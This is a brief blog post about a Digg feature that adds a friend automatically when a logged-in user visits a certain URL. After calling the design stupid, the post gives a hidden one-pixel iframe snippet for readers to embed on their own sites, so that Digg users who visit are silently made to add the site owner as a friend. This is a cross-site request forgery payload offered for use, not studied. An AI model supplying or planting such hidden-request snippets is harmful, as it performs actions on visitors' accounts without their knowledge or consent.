I’ve just found this here.
In what has got to be the stupidest move in the history of community features, Digg has created a URL-powered friend-adder. Basically, all you have to do is visit the url http://digg.com/invitefrom/{username} such as http://digg.com/invitefrom/russvirante and you automatically add them as your friend if you are currently logged in to Digg.
Add this to your site, and you will automatically add as your friend everyone who visits your site. Remember to change the last part for your Digg username.
1 | <iframe height="1" width="1" src="http://digg.com/invitefrom/{username}"></iframe> |